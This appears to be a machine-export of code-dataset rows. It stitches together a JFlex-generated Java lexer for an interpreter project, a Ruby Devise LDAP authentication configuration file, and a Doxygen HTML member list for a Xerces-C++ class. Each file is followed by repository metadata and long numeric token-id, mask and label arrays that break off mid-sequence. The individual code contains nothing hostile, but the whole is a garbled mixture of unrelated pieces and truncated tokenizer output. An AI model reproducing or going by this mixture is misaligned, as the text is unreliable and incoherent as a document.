/* The following code was generated by JFlex 1.6.1 */ package com.jim_project.interprete.parser.previo; import com.jim_project.interprete.parser.AnalizadorLexico; /** * This class is a scanner generated by * <a href="http://www.jflex.de/">JFlex</a> 1.6.1 * from the specification file <tt>C:/Users/alber_000/Documents/NetBeansProjects/tfg-int-rpretes/jim/src/main/java/com/jim_project/interprete/parser/previo/lexico.l</tt> */ public class PrevioLex extends AnalizadorLexico { /** This character denotes the end of file */ public static final int YYEOF = -1; /** initial size of the lookahead buffer */ private static final int ZZ_BUFFERSIZE = 16384; /** lexical states */ public static final int YYINITIAL = 0; /** * ZZ_LEXSTATE[l] is the state in the DFA for the lexical state l * ZZ_LEXSTATE[l+1] is the state in the DFA for the lexical state l * at the beginning of a line * l is of the form l = 2*k, k a non negative integer */ private static final int ZZ_LEXSTATE[] = { 0, 0 }; /** * Translates characters to character classes */ private static final String ZZ_CMAP_PACKED = "\11\0\1\3\1\2\1\51\1\3\1\1\22\0\1\3\1\16\1\0"+ "\1\5\1\0\1\20\2\0\3\20\1\15\1\20\1\14\1\0\1\20"+ "\1\10\11\7\2\0\1\13\1\17\3\0\3\6\1\50\1\42\1\24"+ "\1\30\1\40\1\23\2\4\1\41\1\4\1\47\1\31\1\44\3\4"+ "\1\32\2\4\1\37\1\11\1\12\1\11\1\20\1\0\1\20\3\0"+ "\3\6\1\46\1\36\1\22\1\25\1\34\1\21\2\4\1\35\1\4"+ "\1\45\1\26\1\43\3\4\1\27\2\4\1\33\1\11\1\12\1\11"+ "\12\0\1\51\u1fa2\0\1\51\1\51\uffff\0\uffff\0\uffff\0\uffff\0\uffff\0\uffff\0\uffff\0\uffff\0\uffff\0\uffff\0\uffff\0\uffff\0\uffff\0\uffff\0\uffff\0\uffff\0\udfe6\0"; /** * Translates characters to character classes */ private static final char [] ZZ_CMAP = zzUnpackCMap(ZZ_CMAP_PACKED); /** * Translates DFA states to action switch labels. */ private static final int [] ZZ_ACTION = zzUnpackAction(); private static final String ZZ_ACTION_PACKED_0 = "\1\0\1\1\2\2\1\1\1\2\1\3\2\4\2\5"+ "\1\1\2\6\1\1\1\6\6\1\1\3\2\1\1\3"+ "\1\7\1\3\1\5\1\10\1\11\1\12\1\0\1\13"+ "\10\7\1\14\4\7\1\15\2\7\1\16\1\7\1\17"+ "\1\7\1\20"; private static int [] zzUnpackAction() { int [] result = new int[55]; int offset = 0; offset = zzUnpackAction(ZZ_ACTION_PACKED_0, offset, result); return result; } private static int zzUnpackAction(String packed, int offset, int [] result) { int i = 0; /* index in packed string */ int j = offset; /* index in unpacked array */ int l = packed.length(); while (i < l) { int count = packed.charAt(i++); int value = packed.charAt(i++); do result[j++] = value; while (--count > 0); } return j; } /** * Translates a state to a row index in the transition table */ private static final int [] ZZ_ROWMAP = zzUnpackRowMap(); private static final String ZZ_ROWMAP_PACKED_0 = "\0\0\0\52\0\124\0\52\0\176\0\250\0\322\0\374"+ "\0\52\0\u0126\0\176\0\u0150\0\u017a\0\u01a4\0\u01ce\0\52"+ "\0\u01f8\0\u0222\0\u024c\0\u0276\0\u02a0\0\u02ca\0\u02f4\0\u031e"+ "\0\u0348\0\u0372\0\176\0\u039c\0\u03c6\0\52\0\52\0\52"+ "\0\u03f0\0\176\0\u041a\0\u0444\0\u046e\0\u0498\0\u04c2\0\u04ec"+ "\0\u0516\0\u0540\0\52\0\u056a\0\u0594\0\u05be\0\u05e8\0\176"+ "\0\u0612\0\u063c\0\176\0\u0666\0\176\0\u0690\0\176"; private static int [] zzUnpackRowMap() { int [] result = new int[55]; int offset = 0; offset = zzUnpackRowMap(ZZ_ROWMAP_PACKED_0, offset, result); return result; } private static int zzUnpackRowMap(String packed, int offset, int [] result) { int i = 0; /* index in packed string */ int j = offset; /* index in unpacked array */ int l = packed.length(); while (i < l) { int high = packed.charAt(i++) << 16; result[j++] = high | packed.charAt(i++); } return j; } /** * The transition table of the DFA */ private static final int [] ZZ_TRANS = zzUnpackTrans(); private static final String ZZ_TRANS_PACKED_0 = "\1\2\1\3\2\4\1\5\1\6\1\7\1\10\1\11"+ "\1\12\1\13\1\14\1\15\1\16\1\17\1\2\1\20"+ "\1\21\1\5\1\22\1\5\1\23\2\5\1\24\2\5"+ "\1\25\1\5\1\26\1\27\1\30\1\5\1\31\1\32"+ "\3\5\1\7\1\5\1\7\55\0\1\4\53\0\1\33"+ "\1\0\1\33\2\0\2\33\6\0\30\33\1\0\1\6"+ "\1\3\1\4\47\6\4\0\1\33\1\0\1\33\1\34"+ "\1\0\2\33\6\0\30\33\10\0\2\10\45\0\1\33"+ "\1\0\1\33\1\35\1\0\2\33\6\0\30\33\15\0"+ "\1\36\51\0\1\37\52\0\1\40\53\0\1\41\36\0"+ "\1\33\1\0\1\33\2\0\2\33\6\0\1\33\1\42"+ "\26\33\5\0\1\33\1\0\1\33\2\0\2\33\6\0"+ "\3\33\1\42\24\33\5\0\1\33\1\0\1\33\2\0"+ "\2\33\6\0\5\33\1\43\22\33\5\0\1\33\1\0"+ "\1\33\2\0\2\33\6\0\10\33\1\44\17\33\5\0"+ "\1\33\1\0\1\33\2\0\2\33\6\0\13\33\1\45"+ "\14\33\5\0\1\33\1\0\1\33\2\0\2\33\6\0"+ "\5\33\1\46\22\33\5\0\1\33\1\0\1\33\1\34"+ "\1\0\2\33\6\0\24\33\1\47\3\33\5\0\1\33"+ "\1\0\1\33\2\0\2\33\6\0\17\33\1\50\10\33"+ "\5\0\1\33\1\0\1\33\2\0\2\33\6\0\10\33"+ "\1\51\17\33\5\0\1\33\1\0\1\33\1\34\1\0"+ "\2\33\6\0\26\33\1\52\1\33\10\0\2\34\50\0"+ "\2\35\44\0\1\41\4\0\1\53\45\0\1\33\1\0"+ "\1\33\2\0\2\33\6\0\6\33\1\54\21\33\5\0"+ "\1\33\1\0\1\33\2\0\2\33\6\0\11\33\1\55"+ "\16\33\5\0\1\33\1\0\1\33\2\0\2\33\6\0"+ "\1\56\27\33\5\0\1\33\1\0\1\33\2\0\2\33"+ "\6\0\5\33\1\57\22\33\5\0\1\33\1\0\1\33"+ "\2\0\2\33\6\0\25\33\1\60\2\33\5\0\1\33"+ "\1\0\1\33\2\0\2\33\6\0\2\33\1\61\25\33"+ "\5\0\1\33\1\0\1\33\2\0\2\33\6\0\10\33"+ "\1\62\17\33\5\0\1\33\1\0\1\33\2\0\2\33"+ "\6\0\27\33\1\60\5\0\1\33\1\0\1\33\2\0"+ "\2\33\6\0\5\33\1\63\22\33\5\0\1\33\1\0"+ "\1\33\2\0\2\33\6\0\10\33\1\63\17\33\5\0"+ "\1\33\1\0\1\33\2\0\2\33\6\0\14\33\1\64"+ "\13\33\5\0\1\33\1\0\1\33\2\0\2\33\6\0"+ "\22\33\1\65\5\33\5\0\1\33\1\0\1\33\2\0"+ "\2\33\6\0\20\33\1\66\7\33\5\0\1\33\1\0"+ "\1\33\2\0\2\33\6\0\23\33\1\65\4\33\5\0"+ "\1\33\1\0\1\33\2\0\2\33\6\0\15\33\1\67"+ "\12\33\5\0\1\33\1\0\1\33\2\0\2\33\6\0"+ "\21\33\1\67\6\33\1\0"; private static int [] zzUnpackTrans() { int [] result = new int[1722]; int offset = 0; offset = zzUnpackTrans(ZZ_TRANS_PACKED_0, offset, result); return result; } private static int zzUnpackTrans(String packed, int offset, int [] result) { int i = 0; /* index in packed string */ int j = offset; /* index in unpacked array */ int l = packed.length(); while (i < l) { int count = packed.charAt(i++); int value = packed.charAt(i++); value--; do result[j++] = value; while (--count > 0); } return j; } /* error codes */ private static final int ZZ_UNKNOWN_ERROR = 0; private static final int ZZ_NO_MATCH = 1; private static final int ZZ_PUSHBACK_2BIG = 2; /* error messages for the codes above */ private static final String ZZ_ERROR_MSG[] = { "Unknown internal scanner error", "Error: could not match input", "Error: pushback value was too large" }; /** * ZZ_ATTRIBUTE[aState] contains the attributes of state <code>aState</code> */ private static final int [] ZZ_ATTRIBUTE = zzUnpackAttribute(); private static final String ZZ_ATTRIBUTE_PACKED_0 = "\1\0\1\11\1\1\1\11\4\1\1\11\6\1\1\11"+ "\15\1\3\11\1\0\11\1\1\11\14\1"; private static int [] zzUnpackAttribute() { int [] result = new int[55]; int offset = 0; offset = zzUnpackAttribute(ZZ_ATTRIBUTE_PACKED_0, offset, result); return result; } private static int zzUnpackAttribute(String packed, int offset, int [] result) { int i = 0; /* index in packed string */ int j = offset; /* index in unpacked array */ int l = packed.length(); while (i < l) { int count = packed.charAt(i++); int value = packed.charAt(i++); do result[j++] = value; while (--count > 0); } return j; } /** the input device */ private java.io.Reader zzReader; /** the current state of the DFA */ private int zzState; /** the current lexical state */ private int zzLexicalState = YYINITIAL; /** this buffer contains the current text to be matched and is the source of the yytext() string */ private char zzBuffer[] = new char[ZZ_BUFFERSIZE]; /** the textposition at the last accepting state */ private int zzMarkedPos; /** the current text position in the buffer */ private int zzCurrentPos; /** startRead marks the beginning of the yytext() string in the buffer */ private int zzStartRead; /** endRead marks the last character in the buffer, that has been read from input */ private int zzEndRead; /** number of newlines encountered up to the start of the matched text */ private int yyline; /** the number of characters up to the start of the matched text */ private int yychar; /** * the number of characters from the last newline up to the start of the * matched text */ private int yycolumn; /** * zzAtBOL == true <=> the scanner is currently at the beginning of a line */ private boolean zzAtBOL = true; /** zzAtEOF == true <=> the scanner is at the EOF */ private boolean zzAtEOF; /** denotes if the user-EOF-code has already been executed */ private boolean zzEOFDone; /** * The number of occupied positions in zzBuffer beyond zzEndRead. * When a lead/high surrogate has been read from the input stream * into the final zzBuffer position, this will have a value of 1; * otherwise, it will have a value of 0. */ private int zzFinalHighSurrogate = 0; /* user code: */ private PrevioParser yyparser; /** * Constructor de clase. * @param r Referencia al lector de entrada. * @param p Referencia al analizador sintáctico. */ public PrevioLex(java.io.Reader r, PrevioParser p) { this(r); yyparser = p; } /** * Creates a new scanner * * @param in the java.io.Reader to read input from. */ public PrevioLex(java.io.Reader in) { this.zzReader = in; } /** * Unpacks the compressed character translation table. * * @param packed the packed character translation table * @return the unpacked character translation table */ private static char [] zzUnpackCMap(String packed) { char [] map = new char[0x110000]; int i = 0; /* index in packed string */ int j = 0; /* index in unpacked array */ while (i < 184) { int count = packed.charAt(i++); char value = packed.charAt(i++); do map[j++] = value; while (--count > 0); } return map; } /** * Refills the input buffer. * * @return <code>false</code>, iff there was new input. * * @exception java.io.IOException if any I/O-Error occurs */ private boolean zzRefill() throws java.io.IOException { /* first: make room (if you can) */ if (zzStartRead > 0) { zzEndRead += zzFinalHighSurrogate; zzFinalHighSurrogate = 0; System.arraycopy(zzBuffer, zzStartRead, zzBuffer, 0, zzEndRead-zzStartRead); /* translate stored positions */ zzEndRead-= zzStartRead; zzCurrentPos-= zzStartRead; zzMarkedPos-= zzStartRead; zzStartRead = 0; } /* is the buffer big enough? */ if (zzCurrentPos >= zzBuffer.length - zzFinalHighSurrogate) { /* if not: blow it up */ char newBuffer[] = new char[zzBuffer.length*2]; System.arraycopy(zzBuffer, 0, newBuffer, 0, zzBuffer.length); zzBuffer = newBuffer; zzEndRead += zzFinalHighSurrogate; zzFinalHighSurrogate = 0; } /* fill the buffer with new input */ int requested = zzBuffer.length - zzEndRead; int numRead = zzReader.read(zzBuffer, zzEndRead, requested); /* not supposed to occur according to specification of java.io.Reader */ if (numRead == 0) { throw new java.io.IOException("Reader returned 0 characters. See JFlex examples for workaround."); } if (numRead > 0) { zzEndRead += numRead; /* If numRead == requested, we might have requested to few chars to encode a full Unicode character. We assume that a Reader would otherwise never return half characters. */ if (numRead == requested) { if (Character.isHighSurrogate(zzBuffer[zzEndRead - 1])) { --zzEndRead; zzFinalHighSurrogate = 1; } } /* potentially more input available */ return false; } /* numRead < 0 ==> end of stream */ return true; } /** * Closes the input stream. */ public final void yyclose() throws java.io.IOException { zzAtEOF = true; /* indicate end of file */ zzEndRead = zzStartRead; /* invalidate buffer */ if (zzReader != null) zzReader.close(); } /** * Resets the scanner to read from a new input stream. * Does not close the old reader. * * All internal variables are reset, the old input stream * <b>cannot</b> be reused (internal buffer is discarded and lost). * Lexical state is set to <tt>ZZ_INITIAL</tt>. * * Internal scan buffer is resized down to its initial length, if it has grown. * * @param reader the new input stream */ public final void yyreset(java.io.Reader reader) { zzReader = reader; zzAtBOL = true; zzAtEOF = false; zzEOFDone = false; zzEndRead = zzStartRead = 0; zzCurrentPos = zzMarkedPos = 0; zzFinalHighSurrogate = 0; yyline = yychar = yycolumn = 0; zzLexicalState = YYINITIAL; if (zzBuffer.length > ZZ_BUFFERSIZE) zzBuffer = new char[ZZ_BUFFERSIZE]; } /** * Returns the current lexical state. */ public final int yystate() { return zzLexicalState; } /** * Enters a new lexical state * * @param newState the new lexical state */ public final void yybegin(int newState) { zzLexicalState = newState; } /** * Returns the text matched by the current regular expression. */ public final String yytext() { return new String( zzBuffer, zzStartRead, zzMarkedPos-zzStartRead ); } /** * Returns the character at position <tt>pos</tt> from the * matched text. * * It is equivalent to yytext().charAt(pos), but faster * * @param pos the position of the character to fetch. * A value from 0 to yylength()-1. * * @return the character at position pos */ public final char yycharat(int pos) { return zzBuffer[zzStartRead+pos]; } /** * Returns the length of the matched text region. */ public final int yylength() { return zzMarkedPos-zzStartRead; } /** * Reports an error that occured while scanning. * * In a wellformed scanner (no or only correct usage of * yypushback(int) and a match-all fallback rule) this method * will only be called with things that "Can't Possibly Happen". * If this method is called, something is seriously wrong * (e.g. a JFlex bug producing a faulty scanner etc.). * * Usual syntax/scanner level error handling should be done * in error fallback rules. * * @param errorCode the code of the errormessage to display */ private void zzScanError(int errorCode) { String message; try { message = ZZ_ERROR_MSG[errorCode]; } catch (ArrayIndexOutOfBoundsException e) { message = ZZ_ERROR_MSG[ZZ_UNKNOWN_ERROR]; } throw new Error(message); } /** * Pushes the specified amount of characters back into the input stream. * * They will be read again by then next call of the scanning method * * @param number the number of characters to be read again. * This number must not be greater than yylength()! */ public void yypushback(int number) { if ( number > yylength() ) zzScanError(ZZ_PUSHBACK_2BIG); zzMarkedPos -= number; } /** * Contains user EOF-code, which will be executed exactly once, * when the end of file is reached */ private void zzDoEOF() throws java.io.IOException { if (!zzEOFDone) { zzEOFDone = true; yyclose(); } } /** * Resumes scanning until the next regular expression is matched, * the end of input is encountered or an I/O-Error occurs. * * @return the next token * @exception java.io.IOException if any I/O-Error occurs */ public int yylex() throws java.io.IOException { int zzInput; int zzAction; // cached fields: int zzCurrentPosL; int zzMarkedPosL; int zzEndReadL = zzEndRead; char [] zzBufferL = zzBuffer; char [] zzCMapL = ZZ_CMAP; int [] zzTransL = ZZ_TRANS; int [] zzRowMapL = ZZ_ROWMAP; int [] zzAttrL = ZZ_ATTRIBUTE; while (true) { zzMarkedPosL = zzMarkedPos; zzAction = -1; zzCurrentPosL = zzCurrentPos = zzStartRead = zzMarkedPosL; zzState = ZZ_LEXSTATE[zzLexicalState]; // set up zzAction for empty match case: int zzAttributes = zzAttrL[zzState]; if ( (zzAttributes & 1) == 1 ) { zzAction = zzState; } zzForAction: { while (true) { if (zzCurrentPosL < zzEndReadL) { zzInput = Character.codePointAt(zzBufferL, zzCurrentPosL, zzEndReadL); zzCurrentPosL += Character.charCount(zzInput); } else if (zzAtEOF) { zzInput = YYEOF; break zzForAction; } else { // store back cached positions zzCurrentPos = zzCurrentPosL; zzMarkedPos = zzMarkedPosL; boolean eof = zzRefill(); // get translated positions and possibly new buffer zzCurrentPosL = zzCurrentPos; zzMarkedPosL = zzMarkedPos; zzBufferL = zzBuffer; zzEndReadL = zzEndRead; if (eof) { zzInput = YYEOF; break zzForAction; } else { zzInput = Character.codePointAt(zzBufferL, zzCurrentPosL, zzEndReadL); zzCurrentPosL += Character.charCount(zzInput); } } int zzNext = zzTransL[ zzRowMapL[zzState] + zzCMapL[zzInput] ]; if (zzNext == -1) break zzForAction; zzState = zzNext; zzAttributes = zzAttrL[zzState]; if ( (zzAttributes & 1) == 1 ) { zzAction = zzState; zzMarkedPosL = zzCurrentPosL; if ( (zzAttributes & 8) == 8 ) break zzForAction; } } } // store back cached position zzMarkedPos = zzMarkedPosL; if (zzInput == YYEOF && zzStartRead == zzCurrentPos) { zzAtEOF = true; zzDoEOF(); { return 0; } } else { switch (zzAction < 0 ? zzAction : ZZ_ACTION[zzAction]) { case 1: { yyparser.programa().error().deCaracterNoReconocido(yytext()); } case 17: break; case 2: { } case 18: break; case 3: { yyparser.yylval = new PrevioParserVal(yytext()); return PrevioParser.ETIQUETA; } case 19: break; case 4: { yyparser.yylval = new PrevioParserVal(yytext()); return PrevioParser.NUMERO; } case 20: break; case 5: { yyparser.yylval = new PrevioParserVal(yytext()); return PrevioParser.VARIABLE; } case 21: break; case 6: { return yycharat(0); } case 22: break; case 7: { yyparser.yylval = new PrevioParserVal(yytext()); return PrevioParser.IDMACRO; } case 23: break; case 8: { return PrevioParser.FLECHA; } case 24: break; case 9: { return PrevioParser.DECREMENTO; } case 25: break; case 10: { return PrevioParser.INCREMENTO; } case 26: break; case 11: { return PrevioParser.IF; } case 27: break; case 12: { return PrevioParser.DISTINTO; } case 28: break; case 13: { return PrevioParser.END; } case 29: break; case 14: { return PrevioParser.GOTO; } case 30: break; case 15: { return PrevioParser.LOOP; } case 31: break; case 16: { return PrevioParser.WHILE; } case 32: break; default: zzScanError(ZZ_NO_MATCH); } } } } }
alberh/JIM
jim/src/main/java/com/jim_project/interprete/parser/previo/PrevioLex.java
Java
gpl-3.0
20,877
[ 30522, 1013, 1008, 1996, 2206, 3642, 2001, 7013, 2011, 1046, 21031, 2595, 1015, 1012, 1020, 1012, 1015, 1008, 1013, 7427, 4012, 1012, 3958, 1035, 2622, 1012, 17841, 2063, 1012, 11968, 8043, 1012, 3653, 25500, 1025, 12324, 4012, 1012, 3958, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
# encoding: utf-8 require 'devise' require 'devise_ldap_authenticatable/exception' require 'devise_ldap_authenticatable/logger' require 'devise_ldap_authenticatable/ldap/adapter' require 'devise_ldap_authenticatable/ldap/attribute_mapper' require 'devise_ldap_authenticatable/ldap/connection' # Get ldap information from config/ldap.yml now module Devise # Allow logging mattr_accessor :ldap_logger @@ldap_logger = true # Add valid users to database mattr_accessor :ldap_create_user @@ldap_create_user = false # A path to YAML config file or a Proc that returns a # configuration hash mattr_accessor :ldap_config # @@ldap_config = "#{Rails.root}/config/ldap.yml" mattr_accessor :ldap_update_password @@ldap_update_password = true mattr_accessor :ldap_check_group_membership @@ldap_check_group_membership = false mattr_accessor :ldap_check_attributes @@ldap_check_role_attribute = false mattr_accessor :ldap_use_admin_to_bind @@ldap_use_admin_to_bind = false mattr_accessor :ldap_auth_username_builder @@ldap_auth_username_builder = Proc.new() {|attribute, login, ldap| "#{attribute}=#{login},#{ldap.base}" } mattr_accessor :ldap_ad_group_check @@ldap_ad_group_check = false end # Add ldap_authenticatable strategy to defaults. # Devise.add_module(:ldap_authenticatable, :route => :session, ## This will add the routes, rather than in the routes.rb :strategy => true, :controller => :sessions, :model => 'devise_ldap_authenticatable/model')
cgservices/devise_ldap_authenticatable
lib/devise_ldap_authenticatable.rb
Ruby
mit
1,584
[ 30522, 1001, 17181, 1024, 21183, 2546, 1011, 30524, 27892, 1013, 25510, 9331, 1013, 15581, 2121, 1005, 5478, 1005, 14386, 3366, 1035, 25510, 9331, 1035, 14469, 27892, 1013, 25510, 9331, 1013, 17961, 1035, 4949, 4842, 1005, 5478, 1005, 14386, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html><head><meta http-equiv="Content-Type" content="text/html;charset=UTF-8"> <title>Xerces-C++: Member List</title> <link href="doxygen.css" rel="stylesheet" type="text/css"> <link href="tabs.css" rel="stylesheet" type="text/css"> </head><body> <!-- Generated by Doxygen 1.5.4 --> <div class="tabs"> <ul> <li><a href="index.html"><span>Main&nbsp;Page</span></a></li> <li class="current"><a href="classes.html"><span>Classes</span></a></li> <li><a href="files.html"><span>Files</span></a></li> <li><a href="pages.html"><span>Related&nbsp;Pages</span></a></li> </ul> </div> <div class="tabs"> <ul> <li><a href="classes.html"><span>Alphabetical&nbsp;List</span></a></li> <li><a href="annotated.html"><span>Class&nbsp;List</span></a></li> <li><a href="hierarchy.html"><span>Class&nbsp;Hierarchy</span></a></li> <li><a href="functions.html"><span>Class&nbsp;Members</span></a></li> </ul> </div> <h1>XSNotationDeclaration Member List</h1>This is the complete list of members for <a class="el" href="classXSNotationDeclaration.html">XSNotationDeclaration</a>, including all inherited members.<p><table> <tr class="memlist"><td><a class="el" href="classXSNotationDeclaration.html#a72fcba58d8b86985d04ac89664686a2">fAnnotation</a></td><td><a class="el" href="classXSNotationDeclaration.html">XSNotationDeclaration</a></td><td><code> [protected]</code></td></tr> <tr class="memlist"><td><a class="el" href="classXSObject.html#df7aa73bad7fce62367ca1004971c501">fComponentType</a></td><td><a class="el" href="classXSObject.html">XSObject</a></td><td><code> [protected]</code></td></tr> <tr class="memlist"><td><a class="el" href="classXSObject.html#92876abace1971fda140e17fa1a92f29">fId</a></td><td><a class="el" href="classXSObject.html">XSObject</a></td><td><code> [protected]</code></td></tr> <tr class="memlist"><td><a class="el" href="classXSObject.html#ae909af33a4fb6148972cfc3fa7f0b88">fMemoryManager</a></td><td><a class="el" href="classXSObject.html">XSObject</a></td><td><code> [protected]</code></td></tr> <tr class="memlist"><td><a class="el" href="classXSNotationDeclaration.html#74e7dce60fdf2fb68cbc78104fadf663">fXMLNotationDecl</a></td><td><a class="el" href="classXSNotationDeclaration.html">XSNotationDeclaration</a></td><td><code> [protected]</code></td></tr> <tr class="memlist"><td><a class="el" href="classXSObject.html#7160fadb0e2cd273a4a1bb5cd5c8652c">fXSModel</a></td><td><a class="el" href="classXSObject.html">XSObject</a></td><td><code> [protected]</code></td></tr> <tr class="memlist"><td><a class="el" href="classXSNotationDeclaration.html#dc3d6ce19044a0f63afb99e6f5eddc76">getAnnotation</a>() const </td><td><a class="el" href="classXSNotationDeclaration.html">XSNotationDeclaration</a></td><td></td></tr> <tr class="memlist"><td><a class="el" href="classXSObject.html#f35f698320726d2f677096b7f24e815b">getId</a>() const </td><td><a class="el" href="classXSObject.html">XSObject</a></td><td><code> [virtual]</code></td></tr> <tr class="memlist"><td><a class="el" href="classXSNotationDeclaration.html#9cc60a5e0ce8036d1e34eb88ae9e6ccc">getName</a>() const </td><td><a class="el" href="classXSNotationDeclaration.html">XSNotationDeclaration</a></td><td><code> [virtual]</code></td></tr> <tr class="memlist"><td><a class="el" href="classXSNotationDeclaration.html#331741978024625b4e2319dd648f1f4f">getNamespace</a>()</td><td><a class="el" href="classXSNotationDeclaration.html">XSNotationDeclaration</a></td><td><code> [virtual]</code></td></tr> <tr class="memlist"><td><a class="el" href="classXSNotationDeclaration.html#9f26a987ab65d91f655fcb9a1f5432fe">getNamespaceItem</a>()</td><td><a class="el" href="classXSNotationDeclaration.html">XSNotationDeclaration</a></td><td><code> [virtual]</code></td></tr> <tr class="memlist"><td><a class="el" href="classXSNotationDeclaration.html#65e1f7ca7ad052d163f712e5472c573b">getPublicId</a>()</td><td><a class="el" href="classXSNotationDeclaration.html">XSNotationDeclaration</a></td><td></td></tr> <tr class="memlist"><td><a class="el" href="classXSNotationDeclaration.html#d5933c1c30b311415783804779a19d53">getSystemId</a>()</td><td><a class="el" href="classXSNotationDeclaration.html">XSNotationDeclaration</a></td><td></td></tr> <tr class="memlist"><td><a class="el" href="classXSObject.html#7c358bf79a6a7f933420569e2b5fdaa0">getType</a>() const </td><td><a class="el" href="classXSObject.html">XSObject</a></td><td></td></tr> <tr class="memlist"><td><a class="el" href="classXMemory.html#9da30f1601ea458908cbf150fc2f8f8b">operator delete</a>(void *p)</td><td><a class="el" href="classXMemory.html">XMemory</a></td><td></td></tr> <tr class="memlist"><td><a class="el" href="classXMemory.html#22efbc6459bdbe79f83b7791bba4d1f6">operator delete</a>(void *p, MemoryManager *memMgr)</td><td><a class="el" href="classXMemory.html">XMemory</a></td><td></td></tr> <tr class="memlist"><td><a class="el" href="classXMemory.html#32ee38b70d412e12f669cfbd86adf623">operator delete</a>(void *p, void *ptr)</td><td><a class="el" href="classXMemory.html">XMemory</a></td><td></td></tr> <tr class="memlist"><td><a class="el" href="classXMemory.html#717678d9deadc627a41fe0dddede9f7f">operator new</a>(size_t size)</td><td><a class="el" href="classXMemory.html">XMemory</a></td><td></td></tr> <tr class="memlist"><td><a class="el" href="classXMemory.html#c3022fcc968c684a31c1e6a9ede83c10">operator new</a>(size_t size, MemoryManager *memMgr)</td><td><a class="el" href="classXMemory.html">XMemory</a></td><td></td></tr> <tr class="memlist"><td><a class="el" href="classXMemory.html#eaad885b799ac2188ffd28f76182339c">operator new</a>(size_t size, void *ptr)</td><td><a class="el" href="classXMemory.html">XMemory</a></td><td></td></tr> <tr class="memlist"><td><a class="el" href="classXSObject.html#fb512432f05a012af26ed2b287833765">setId</a>(XMLSize_t id)</td><td><a class="el" href="classXSObject.html">XSObject</a></td><td></td></tr> <tr class="memlist"><td><a class="el" href="classXMemory.html#e5b8adaa10d5d9276b42823f47e06858">XMemory</a>()</td><td><a class="el" href="classXMemory.html">XMemory</a></td><td><code> [protected]</code></td></tr> <tr class="memlist"><td><a class="el" href="classXSNotationDeclaration.html#905e590c198cf5324de064f955f18d62">XSNotationDeclaration</a>(XMLNotationDecl *const xmlNotationDecl, XSAnnotation *const annot, XSModel *const xsModel, MemoryManager *const manager=XMLPlatformUtils::fgMemoryManager)</td><td><a class="el" href="classXSNotationDeclaration.html">XSNotationDeclaration</a></td><td></td></tr> <tr class="memlist"><td><a class="el" href="classXSObject.html#0d798a31f1bdd8c21f3ca621c8401bce">XSObject</a>(XSConstants::COMPONENT_TYPE compType, XSModel *const xsModel, MemoryManager *const manager=XMLPlatformUtils::fgMemoryManager)</td><td><a class="el" href="classXSObject.html">XSObject</a></td><td></td></tr> <tr class="memlist"><td><a class="el" href="classXSNotationDeclaration.html#f0d4b4efb987ea948f14798ec42cb91a">~XSNotationDeclaration</a>()</td><td><a class="el" href="classXSNotationDeclaration.html">XSNotationDeclaration</a></td><td></td></tr> <tr class="memlist"><td><a class="el" href="classXSObject.html#0c05f6fe49f7e29e88f254ee18fdb257">~XSObject</a>()</td><td><a class="el" href="classXSObject.html">XSObject</a></td><td><code> [virtual]</code></td></tr> </table><hr size="1"><address style="text-align: right;"><small>Generated on Wed Sep 24 16:36:35 2008 for Xerces-C++ by&nbsp; <a href="http://www.doxygen.org/index.html"> <img src="doxygen.png" alt="doxygen" align="middle" border="0"></a> 1.5.4 </small></address> </body> </html>
einon/affymetrix-power-tools
external/xerces/doc/html/apiDocs-3/classXSNotationDeclaration-members.html
HTML
lgpl-2.1
7,705
[ 30522, 1026, 999, 9986, 13874, 16129, 2270, 1000, 1011, 1013, 1013, 1059, 2509, 2278, 1013, 1013, 26718, 2094, 16129, 1018, 1012, 5890, 17459, 1013, 1013, 4372, 1000, 1028, 1026, 16129, 1028, 1026, 2132, 1028, 1026, 18804, 8299, 1011, 1041,...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
